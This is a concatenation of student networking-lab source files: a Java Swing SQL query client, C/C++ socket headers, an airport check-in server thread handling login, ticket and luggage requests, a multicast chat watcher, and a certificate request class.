labelUpdateWhere.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N
labelUpdateWhere.setText("WHERE");
labelUpdateResult.setText("Result :");
labelUpdateResultMessage.setToolTipText("");
buttonUpdateExecute.setText("execute");
buttonUpdateExecute.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
buttonUpdateExecuteActionPerformed(evt);
}
});
javax.swing.GroupLayout panelUpdateLayout = new javax.swing.GroupLayout(panelUpdate);
panelUpdate.setLayout(panelUpdateLayout);
panelUpdateLayout.setHorizontalGroup(
panelUpdateLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jSeparator3)
.addGroup(panelUpdateLayout.createSequentialGroup()
.addContainerGap()
.addGroup(panelUpdateLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(panelUpdateLayout.createSequentialGroup()
.addGroup(panelUpdateLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(labelUpdateSet)
.addComponent(labelUpdateWhere))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(panelUpdateLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(textFieldUpdateSet, javax.swing.GroupLayout.DEFAULT_SIZE, 480, Short.MAX_VALUE)
.addComponent(textFieldUpdateWhere))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(buttonUpdateExecute))
.addGroup(panelUpdateLayout.createSequentialGroup()
.addComponent(labelUpdateResult)
.addGap(18, 18, 18)
.addComponent(labelUpdateResultMessage, javax.swing.GroupLayout.PREFERRED_SIZE, 166, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 411, Short.MAX_VALUE)))
.addContainerGap())
.addGroup(panelUpdateLayout.createSequentialGroup()
.addComponent(labelUpdateUpdate)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(comboBoxUpdateSet, javax.swing.GroupLayout.PREFERRED_SIZE, 150, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 0, Short.MAX_VALUE))
);
panelUpdateLayout.setVerticalGroup(
panelUpdateLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(panelUpdateLayout.createSequentialGroup()
.addContainerGap()
.addGroup(panelUpdateLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(comboBoxUpdateSet, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(labelUpdateUpdate))
.addGap(18, 18, 18)
.addGroup(panelUpdateLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(labelUpdateSet)
.addComponent(textFieldUpdateSet, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(buttonUpdateExecute))
.addGap(18, 18, 18)
.addGroup(panelUpdateLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(textFieldUpdateWhere, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(labelUpdateWhere))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jSeparator3, javax.swing.GroupLayout.PREFERRED_SIZE, 9, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(panelUpdateLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(labelUpdateResult)
.addComponent(labelUpdateResultMessage))
.addContainerGap(146, Short.MAX_VALUE))
);
tabbedPaneRequestType.addTab("UPDATE", panelUpdate);
textAreaFree.setColumns(20);
textAreaFree.setRows(5);
jScrollPane2.setViewportView(textAreaFree);
labelFreeResult.setText("Result :");
buttonFreeExecute.setText("execute");
buttonFreeExecute.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
buttonFreeExecuteActionPerformed(evt);
}
});
tableFreeResult.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
{null, null, null, null},
{null, null, null, null},
{null, null, null, null},
{null, null, null, null}
},
new String [] {
"Title 1", "Title 2", "Title 3", "Title 4"
}
));
scrollPaneFree.setViewportView(tableFreeResult);
javax.swing.GroupLayout panelFreeLayout = new javax.swing.GroupLayout(panelFree);
panelFree.setLayout(panelFreeLayout);
panelFreeLayout.setHorizontalGroup(
panelFreeLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jSeparator4)
.addGroup(panelFreeLayout.createSequentialGroup()
.addContainerGap()
.addGroup(panelFreeLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(panelFreeLayout.createSequentialGroup()
.addComponent(labelFreeResult)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(labelFreeResultMessage)
.addGap(0, 0, Short.MAX_VALUE))
.addGroup(panelFreeLayout.createSequentialGroup()
.addGroup(panelFreeLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(panelFreeLayout.createSequentialGroup()
.addComponent(jScrollPane2, javax.swing.GroupLayout.PREFERRED_SIZE, 547, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 16, Short.MAX_VALUE)
.addComponent(buttonFreeExecute))
.addComponent(scrollPaneFree))
.addContainerGap())))
);
panelFreeLayout.setVerticalGroup(
panelFreeLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(panelFreeLayout.createSequentialGroup()
.addContainerGap()
.addGroup(panelFreeLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(panelFreeLayout.createSequentialGroup()
.addComponent(jScrollPane2, javax.swing.GroupLayout.PREFERRED_SIZE, 115, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED))
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, panelFreeLayout.createSequentialGroup()
.addComponent(buttonFreeExecute)
.addGap(47, 47, 47)))
.addComponent(jSeparator4, javax.swing.GroupLayout.PREFERRED_SIZE, 9, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(panelFreeLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(labelFreeResult)
.addComponent(labelFreeResultMessage))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(scrollPaneFree, javax.swing.GroupLayout.DEFAULT_SIZE, 143, Short.MAX_VALUE)
.addContainerGap())
);
tabbedPaneRequestType.addTab("Free choice", panelFree);
menuConnection.setText("Connect");
menuConnection.setToolTipText("");
menuConnection.addMouseListener(new java.awt.event.MouseAdapter() {
public void mouseClicked(java.awt.event.MouseEvent evt) {
menuConnectionMouseClicked(evt);
}
});
jMenuBar1.add(menuConnection);
setJMenuBar(jMenuBar1);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(tabbedPaneRequestType)
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addContainerGap()
.addComponent(tabbedPaneRequestType)
.addContainerGap())
);
tabbedPaneRequestType.getAccessibleContext().setAccessibleName("tab");
pack();
setLocationRelativeTo(null);
}// </editor-fold>//GEN-END:initComponents
private void menuConnectionMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_menuConnectionMouseClicked
if(databaseAccess == null){
System.out.println("connecting...");
ConnectionDialog connectionDialog = new ConnectionDialog(this, true);
connectionDialog.pack();
connectionDialog.setLocationRelativeTo(this);
connectionDialog.setVisible(true);
}
else{
System.out.println("disconnecting...");
databaseAccess.disconnect();
menuConnection.setText("Connect");
databaseAccess = null;
this.tabbedPaneRequestType.setVisible(false);
comboBoxSelectFrom.removeAllItems();
comboBoxCountFrom.removeAllItems();
comboBoxUpdateSet.removeAllItems();
}
}//GEN-LAST:event_menuConnectionMouseClicked
private void buttonCountExecuteActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_buttonCountExecuteActionPerformed
StringBuilder builder = new StringBuilder();
builder.append("SELECT ");
builder.append(this.textFieldCountSelect.getText());
builder.append(" FROM ");
builder.append(this.comboBoxCountFrom.getSelectedItem().toString());
if(!this.textFieldCountWhere.getText().isEmpty()){
builder.append(" WHERE ");
builder.append(this.textFieldCountWhere.getText());
}
try {
System.out.println(builder.toString());
ResultSet resultSet = this.databaseAccess.executeQuery(builder.toString());
resultSet.next();
this.labelCountResultMessage.setText(String.valueOf(resultSet.getInt(1)));
} catch (SQLException ex) {
this.labelCountResultMessage.setText(ex.getMessage());
Logger.getLogger(MainFrame.class.getName()).log(Level.SEVERE, null, ex);
}
}//GEN-LAST:event_buttonCountExecuteActionPerformed
private void buttonSelectExecuteActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_buttonSelectExecuteActionPerformed
DefaultTableModel dtm = (DefaultTableModel) this.tableSelectResult.getModel();
dtm.setRowCount(0);
StringBuilder builder = new StringBuilder();
builder.append("SELECT ");
if(this.textFieldSelectSelect.getText().isEmpty())
builder.append("*");
else
builder.append(this.textFieldSelectSelect.getText());
builder.append(" FROM ");
builder.append(this.comboBoxSelectFrom.getSelectedItem().toString());
if(!this.textFieldSelectWhere.getText().isEmpty()){
builder.append(" WHERE ");
builder.append(this.textFieldSelectWhere.getText());
}
try {
System.err.println(builder.toString());
ResultSet cursor = this.databaseAccess.executeQuery(builder.toString());
this.tableSelectResult.setModel(this.databaseAccess.buildTableModel(cursor));
} catch (SQLException ex) {
Logger.getLogger(MainFrame.class.getName()).log(Level.SEVERE, null, ex);
}
}//GEN-LAST:event_buttonSelectExecuteActionPerformed
private void buttonUpdateExecuteActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_buttonUpdateExecuteActionPerformed
this.labelUpdateResultMessage.setText("");
if(this.textFieldUpdateSet.getText().isEmpty())
return;
StringBuilder builder = new StringBuilder();
builder.append("UPDATE ");
builder.append(this.comboBoxUpdateSet.getSelectedItem().toString());
builder.append(" SET ");
builder.append(this.textFieldUpdateSet.getText());
if(!this.textFieldUpdateWhere.getText().isEmpty()){
builder.append(" WHERE ");
builder.append(this.textFieldUpdateWhere.getText());
}
try {
System.err.println(builder.toString());
int nbLinesModified = this.databaseAccess.executeUpdate(builder.toString());
this.labelUpdateResultMessage.setText(String.valueOf(nbLinesModified));
this.databaseAccess.commit();
} catch (SQLException | InterruptedException ex) {
this.labelUpdateResultMessage.setText(ex.getMessage());
Logger.getLogger(MainFrame.class.getName()).log(Level.SEVERE, null, ex);
}
}//GEN-LAST:event_buttonUpdateExecuteActionPerformed
private void buttonFreeExecuteActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_buttonFreeExecuteActionPerformed
DefaultTableModel dtm = (DefaultTableModel) this.tableFreeResult.getModel();
dtm.setRowCount(0);
this.labelFreeResultMessage.setText("");
String statement = this.textAreaFree.getText().toLowerCase();
try {
if(statement.startsWith("select")){
ResultSet resultSet = this.databaseAccess.executeQuery(statement);
this.tableFreeResult.setModel(this.databaseAccess.buildTableModel(resultSet));
this.scrollPaneFree.setVisible(true);
this.labelFreeResultMessage.setVisible(false);
}
else if(statement.startsWith("update")){
int nbLinesUpdated = this.databaseAccess.executeUpdate(statement);
this.databaseAccess.commit();
this.labelFreeResultMessage.setText(String.valueOf(nbLinesUpdated));
this.labelFreeResultMessage.setVisible(true);
this.scrollPaneFree.setVisible(false);
}
else{
this.labelFreeResultMessage.setText("The statement should start with either Select or Update!");
this.labelFreeResultMessage.setVisible(true);
this.scrollPaneFree.setVisible(false);
}
} catch (SQLException | InterruptedException ex) {
Logger.getLogger(MainFrame.class.getName()).log(Level.SEVERE, null, ex);
}
}//GEN-LAST:event_buttonFreeExecuteActionPerformed
private void textFieldSelectWhereActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_textFieldSelectWhereActionPerformed
// TODO add your handling code here:
}//GEN-LAST:event_textFieldSelectWhereActionPerformed
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
//<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
/* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
* For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
try {
for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
if ("Nimbus".equals(info.getName())) {
javax.swing.UIManager.setLookAndFeel(info.getClassName());
break;
}
}
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(MainFrame.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(MainFrame.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(MainFrame.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(MainFrame.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
/* Create and display the form */
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new MainFrame().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton buttonCountExecute;
private javax.swing.JButton buttonFreeExecute;
private javax.swing.JButton buttonSelectExecute;
private javax.swing.JButton buttonUpdateExecute;
private javax.swing.JComboBox<String> comboBoxCountFrom;
private javax.swing.JComboBox<String> comboBoxSelectFrom;
private javax.swing.JComboBox<String> comboBoxUpdateSet;
private javax.swing.JMenuBar jMenuBar1;
private javax.swing.JScrollPane jScrollPane2;
private javax.swing.JSeparator jSeparator1;
private javax.swing.JSeparator jSeparator2;
private javax.swing.JSeparator jSeparator3;
private javax.swing.JSeparator jSeparator4;
private javax.swing.JLabel labelCountFrom;
private javax.swing.JLabel labelCountResult;
private javax.swing.JLabel labelCountResultMessage;
private javax.swing.JLabel labelCountSelect;
private javax.swing.JLabel labelCountWhere;
private javax.swing.JLabel labelFreeResult;
private javax.swing.JLabel labelFreeResultMessage;
private javax.swing.JLabel labelSelectFrom;
private javax.swing.JLabel labelSelectSelect;
private javax.swing.JLabel labelSelectWhere;
private javax.swing.JLabel labelUpdateResult;
private javax.swing.JLabel labelUpdateResultMessage;
private javax.swing.JLabel labelUpdateSet;
private javax.swing.JLabel labelUpdateUpdate;
private javax.swing.JLabel labelUpdateWhere;
private javax.swing.JMenu menuConnection;
private javax.swing.JPanel panelCount;
private javax.swing.JPanel panelFree;
private javax.swing.JPanel panelSelect;
private javax.swing.JPanel panelUpdate;
private javax.swing.JScrollPane scrollPaneFree;
private javax.swing.JScrollPane scrollPaneSelect;
private javax.swing.JTabbedPane tabbedPaneRequestType;
private javax.swing.JTable tableFreeResult;
private javax.swing.JTable tableSelectResult;
private javax.swing.JTextArea textAreaFree;
private javax.swing.JTextField textFieldCountSelect;
private javax.swing.JTextField textFieldCountWhere;
private javax.swing.JTextField textFieldSelectSelect;
private javax.swing.JTextField textFieldSelectWhere;
private javax.swing.JTextField textFieldUpdateSet;
private javax.swing.JTextField textFieldUpdateWhere;
// End of variables declaration//GEN-END:variables
}
<file_sep>/part_1/CheckIn_Serv/Network.h
#ifndef NETWORK_H_INCLUDED
#define NETWORK_H_INCLUDED
int Sockette(int* soc, int port);
int Waiting(int* soc, int* conn_desc, struct sockaddr_in* c_addr ,char* buffer);
#endif // NETWORK_H_INCLUDED
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/SocketUtilities/ClientSocket.h
#ifndef SOCKETUTILITIES_SOCKETCLIENT_H
#define SOCKETUTILITIES_SOCKETCLIENT_H
#include "Socket.h"
class ClientSocket : public Socket{
public:
ClientSocket();
ClientSocket(unsigned int portNumber, const HostInfo &info, const std::string &separator) throw(ErrnoException, SocketException);
explicit ClientSocket(const Socket &orig);
virtual ~ClientSocket();
void connectToServer() const throw(ErrnoException);
};
#endif //SOCKETUTILITIES_SOCKETCLIENT_H
<file_sep>/final eclipse/.metadata/version.ini
#Wed Sep 05 20:59:07 CEST 2018
org.eclipse.core.runtime=2
org.eclipse.platform=4.8.0.v20180611-0500
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/Tests/CsvExceptionTest.cpp
#include <iostream>
#include "../Exceptions/CsvException.h"
void throwException() throw(CsvException){
//fait quelque chose, et puis *BAM*
throw CsvException("il s'est passé quelque chose... mais quoi?");
}
int main() {
cout << "on fait un peu de travail!" << endl;
try{
throwException();
}catch(const CsvException& e){
cerr << "CsvException() : une erreur est survenue... what(" << e.what() << ")" << endl;
}
catch(const exception& e){
cerr << "une erreur inattendue est survenue... what(" << e.what() << ")" << endl;
}
cout << "fin de la fonction." << endl;
return 0;
}
<file_sep>/LaboReseauxBinome/Evaluation1/Serveur_CheckIn/Serveur_CheckInThread.cpp
#include "Serveur_CheckInThread.h"
#include "../Librairies/CIMP/CIMP.h"
#include "../Librairies/CSV/LuggageCsvHandler.h"
#pragma clang diagnostic push
#pragma ide diagnostic ignored "OCDFAInspection"
#pragma clang diagnostic ignored "-Wmissing-noreturn"
void* fctThread(void *param) {
bool clientIsLoggedIn, finishTransaction;
int previousState;
stringstream ss;
string flightNumber = "362";
string receivedMessage;
Socket *serverSocket;
vector<luggageStruct> luggageVector;
auto *serveur_checkIn = (Serveur_CheckIn *) param;
auto CIMP = serveur_checkIn->cimp;
auto loginCsvHandler = new LoginCsvHandler(serveur_checkIn->loginFilePath, serveur_checkIn->csvSeparator);
auto ticketCsvHandler = new TicketCsvHandler(serveur_checkIn->ticketFilePath, serveur_checkIn->csvSeparator);
sigset_t emptyMask, interruptMask;
struct sigaction sa;
sa.sa_handler = fctSIGUSR1;
sa.sa_flags = 0;
sigemptyset(&sa.sa_mask);
sigaddset(&sa.sa_mask, SIGINT);
sigaction(SIGUSR1, &sa, NULL);
sigemptyset(&emptyMask);
sigemptyset(&interruptMask);
sigaddset(&interruptMask, SIGINT);
pthread_cleanup_push(fctEndOfThread, serverSocket);
affThread(1, "Thread started.");
while(true){
affThread(1, "Waiting for a client...");
pthread_mutex_lock(&(serveur_checkIn->mutexNbConnectedClients));
while( !serveur_checkIn->newSocketHasBeenAdded )
pthread_cond_wait(&(serveur_checkIn->condNbConnectedClients), &(serveur_checkIn->mutexNbConnectedClients) );
serverSocket = serveur_checkIn->tabConnectedSocket.front();
serveur_checkIn->tabConnectedSocket.erase(serveur_checkIn->tabConnectedSocket.begin());
serveur_checkIn->newSocketHasBeenAdded = false;
pthread_mutex_unlock(&(serveur_checkIn->mutexNbConnectedClients));
finishTransaction = false;
clientIsLoggedIn = false;
previousState = 0;
affThread(1, "Starting transaction with client...");
do{
pthread_sigmask(SIG_SETMASK, &emptyMask, nullptr);
pthread_sigmask(SIG_SETMASK, &interruptMask, nullptr);
affThread(1, "Waiting for client's request...");
receivedMessage.clear();
try {
serverSocket->receiveMessage(receivedMessage);
/*** On parse le message dans le type adapté ***/
void *parsedData;
int protocolType = CIMP->parse(receivedMessage, &parsedData);
switch (protocolType){
case EOC :
affThread(1, "Received an EOC request...");
serverSocket->sendMessage(CIMP->encodeOK());
finishTransaction = true;
clientIsLoggedIn = false;
previousState = 0;
luggageVector.clear();
break;
case LOGIN_OFFICER :
affThread(1, "Received a LOGIN_OFFICER request...");
if(clientIsLoggedIn){
affThread(1, "The client was already connected!");
delete ((loginStruct *) parsedData);
serverSocket->sendMessage(CIMP->encodeLOGIN_OFFICER_KO("You are already connected!"));
}
else{
try {
affThread(1, "Connecting to login database to verify credentials...");
if( loginCsvHandler->isValid( ((loginStruct *)parsedData)->login, ((loginStruct *)parsedData)->password ) ){
delete ((loginStruct *) parsedData);
affThread(1, "The client connected successfuly!");
clientIsLoggedIn = true;
previousState = LOGIN_OFFICER;
serverSocket->sendMessage(CIMP->encodeLOGIN_OFFICER_OK());
}
else{
delete ((loginStruct *) parsedData);
affThread(1, "The client entered wrong credentials!");
serverSocket->sendMessage(CIMP->encodeLOGIN_OFFICER_KO("Wrong credentials!"));
}
} catch(const CsvException &ex) {
affThread(1, "Could not connect to login database!");
affThread(1, ex.what());
clientIsLoggedIn = false;
finishTransaction = true;
previousState = 0;
kill(getpid(), SIGINT);
}
}
break;
case LOGOUT_OFFICER :
affThread(1, "Received a LOGOUT_OFFICER request...");
serverSocket->sendMessage(CIMP->encodeLOGOUT_OFFICER_OK());
previousState = 0;
clientIsLoggedIn = false;
break;
case CHECK_TICKET :{
affThread(1, "Received a CHECK_TICKET request...");
if(!clientIsLoggedIn){
affThread(1, "The client wasn't even logged in!");
serverSocket->sendMessage(CIMP->encodeCHECK_TICKET_KO("Please log in before using our features!"));
}
else {
string toReturn;
if (ticketNumberIsValid(((ticketStruct *) parsedData)->ticketNumber) &&
ticketCsvHandler->reservationExists(*((ticketStruct *) parsedData))) {
toReturn = CIMP->encodeCHECK_TICKET_OK();
} else {
toReturn = CIMP->encodeCHECK_TICKET_KO( "The format of the ticket number is wrong (xxx-xxxxxxxx-xxxx)!");
}
serverSocket->sendMessage(toReturn);
previousState = CHECK_TICKET;
}
}
break;
case CHECK_LUGGAGE :
affThread(1, "Received a CHECK_LUGGAGE request...");
if(!clientIsLoggedIn){
affThread(1, "The client wasn't even logged in!");
serverSocket->sendMessage(CIMP->encodeCHECK_LUGGAGE_KO("Please log in before using our features!"));
} else{
if(previousState != CHECK_TICKET){
affThread(1, "The client isn't following the script!");
serverSocket->sendMessage(CIMP->encodeCHECK_LUGGAGE_KO("Please encode the ticket first!"));
}
else{
luggageSumStruct luggageSum;
float totalWeight, excessWeight;
string tickNb;
totalWeight = excessWeight = 0;
tickNb = ((vector<luggageStruct> *)parsedData)->back().ticketNumber;
((vector<luggageStruct> *)parsedData)->pop_back();
for(luggageStruct luggage : *((vector<luggageStruct> *)parsedData)){
luggageVector.reserve(1);
luggageVector.push_back(luggage);
float weight = static_cast<float>(atof(luggage.weight.c_str()));
totalWeight = totalWeight + weight;
if(weight>20.0)
excessWeight += weight-20;
}
luggageSum.ticketNumber = tickNb;
luggageSum.totalWeight = to_string(totalWeight);
luggageSum.excessWeight = to_string(excessWeight);
luggageSum.priceToPay = to_string(excessWeight*2.95);
serverSocket->sendMessage(CIMP->encodeCHECK_LUGGAGE_OK(luggageSum));
previousState = CHECK_LUGGAGE;
}
}
break;
case PAYMENT_DONE :
affThread(1, "Received a PAYMENT_DONE request...");
if(!clientIsLoggedIn){
affThread(1, "The client wasn't even logged in!");
serverSocket->sendMessage(CIMP->encodePAYMENT_DONE_KO("Please log in before using our features!"));
} else{
if(previousState != CHECK_LUGGAGE){
affThread(1, "The client isn't following the script!");
serverSocket->sendMessage(CIMP->encodePAYMENT_DONE_KO("Please encode the luggages first or empty!"));
}
else{
cout << "serveur : " << boolalpha << *((bool *)parsedData) << endl;
if(*((bool *)parsedData)) {
//362_22082017_lug.csv
stringstream ss2;
ss2 << serveur_checkIn->dbPath << flightNumber << "_" << getTodayString()
<< "_lug.csv";
auto *luggageCsvHandler = new LuggageCsvHandler(ss2.str(),
serveur_checkIn->csvSeparator);
if (luggageCsvHandler->saveLuggageEntries(luggageVector))
serverSocket->sendMessage(CIMP->encodePAYMENT_DONE_OK());
else
serverSocket->sendMessage(CIMP->encodePAYMENT_DONE_KO( "Error trying to save it in database!"));
previousState = CHECK_LUGGAGE;
}
else{
previousState = 0;
luggageVector.clear();
serverSocket->sendMessage(CIMP->encodePAYMENT_DONE_KO( "Reverted to beginning of transaction."));
}
}
}
break;
default:
affThread(1, "Received an unknown request...");
break;
}
} catch (const ErrnoException &ex) {
affThread(1, ex.what());
clientIsLoggedIn = false;
finishTransaction = true;
previousState = 0;
luggageVector.clear();
serverSocket->sendMessage(CIMP->encodeEOC());
} catch (const CIMPException &ex) {
affThread(1, ex.what());
clientIsLoggedIn = false;
finishTransaction = true;
previousState = 0;
luggageVector.clear();
serverSocket->sendMessage(CIMP->encodeEOC());
} catch(const CsvException &ex) {
affThread(1, "Could not connect to database!");
affThread(1, ex.what());
clientIsLoggedIn = false;
finishTransaction = true;
previousState = 0;
luggageVector.clear();
serverSocket->sendMessage(CIMP->encodeEOC());
kill(getpid(), SIGINT);
}
}while(!finishTransaction);
affThread(1, "End of transaction with the client.");
delete serverSocket;
}
pthread_cleanup_pop(1);
return param;
}
const char* getThreadId() {
stringstream ss;
char *threadId;
ss << getpid() << "." << pthread_self();
threadId = (char *) malloc(ss.str().length()+1);
strcat(threadId, ss.str().c_str());
return threadId;
}
bool ticketNumberIsValid(const string ticketNumber){
// 362-22082017-0070
regex pieces_regex("([0-9]{3})\\-([0-9]{8})\\-([0-9]{4})");
smatch pieces_match;
return regex_match(ticketNumber, pieces_match, pieces_regex) && ticketNumber.substr(4, 8) == getTodayString();
}
string getTodayString(){
auto t = time(nullptr);
auto tm = *localtime(&t);
ostringstream oss;
oss << put_time(&tm, "%d%m%Y");
return oss.str();
}
void fctSIGUSR1(int) {
affThread(1, "Main Thread is asking me to shutdown...");
pthread_exit(0);
}
void fctEndOfThread(void *param) {
delete((Socket *)param);
affThread(1, "Good bye!");
}
#pragma clang diagnostic pop<file_sep>/LaboReseauxBinome/Evaluation5/Serveur_IAChat/src/serveur_iachat/JFrameConversationWatcher.java
package serveur_iachat;
import java.io.IOException;
import java.net.InetAddress;
import java.net.MulticastSocket;
import java.net.UnknownHostException;
import java.util.ArrayList;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.DefaultListModel;
import network.Message;
import network.MulticastCommunicator;
import network.MulticastCommunicatorException;
public class JFrameConversationWatcher extends javax.swing.JFrame {
private ThreadIACOP_UDP thread_UDP;
/** Creates new form JFrameConversationListener */
public JFrameConversationWatcher(JFrameServeur_IAChat parent, String ip, int port, String separator, String finTrame) throws IOException {
initComponents();
DefaultListModel defaultListModel = new DefaultListModel<>();
this.listLog.setModel(defaultListModel);
MulticastCommunicator communicator = new MulticastCommunicator(InetAddress.getLocalHost(), InetAddress.getByName(ip), port, separator, finTrame);
this.thread_UDP = new ThreadIACOP_UDP(parent, listLog, defaultListModel, communicator);
this.thread_UDP.start();
}
public void close(){
this.thread_UDP.doStop();
this.thread_UDP = null;
this.dispose();
}
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jScrollPane1 = new javax.swing.JScrollPane();
listLog = new javax.swing.JList<>();
setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE);
addWindowListener(new java.awt.event.WindowAdapter() {
public void windowClosing(java.awt.event.WindowEvent evt) {
formWindowClosing(evt);
}
});
listLog.setSelectionMode(javax.swing.ListSelectionModel.SINGLE_SELECTION);
jScrollPane1.setViewportView(listLog);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 430, Short.MAX_VALUE)
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 313, Short.MAX_VALUE)
.addContainerGap())
);
pack();
setLocationRelativeTo(null);
}// </editor-fold>//GEN-END:initComponents
private void formWindowClosing(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_formWindowClosing
close();
}//GEN-LAST:event_formWindowClosing
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JList<String> listLog;
// End of variables declaration//GEN-END:variables
}
<file_sep>/part_1/CheckIn-Cli/Network-Cli.h
#ifndef NETWORK_CLI_H
int Socket(int* soc, int port);
int Sending(int* soc, char* buffer, int sizebuf);
int Receiving(int* soc, char* buffer);
#endif
<file_sep>/final eclipse/Librairie/src/network/protocole/tickmap/requete/RequeteCertificate.java
package network.protocole.tickmap.requete;
import java.security.cert.X509Certificate;
import generic.server.ARequete;
import network.communication.communicationException;
import network.crypto.ACryptographieAsymetrique;
import network.crypto.CryptographieAsymetriqueException;
import network.protocole.tickmap.reponse.ReponseCertificat;
public class RequeteCertificate extends ARequete {
public RequeteCertificate() {
super("getCertificate", null);
}
/**
*
*/
private static final long serialVersionUID = 1L;
@Override
protected void doAction()
{
try {
X509Certificate cert = null;
try {
cert = ACryptographieAsymetrique.certificate("tt", "tt", "tt", "tt");
this.reponse = ReponseCertificat.OK(cert);
} catch (CryptographieAsymetriqueException e) {
this.reponse = ReponseCertificat.KO("Error to load certificate");
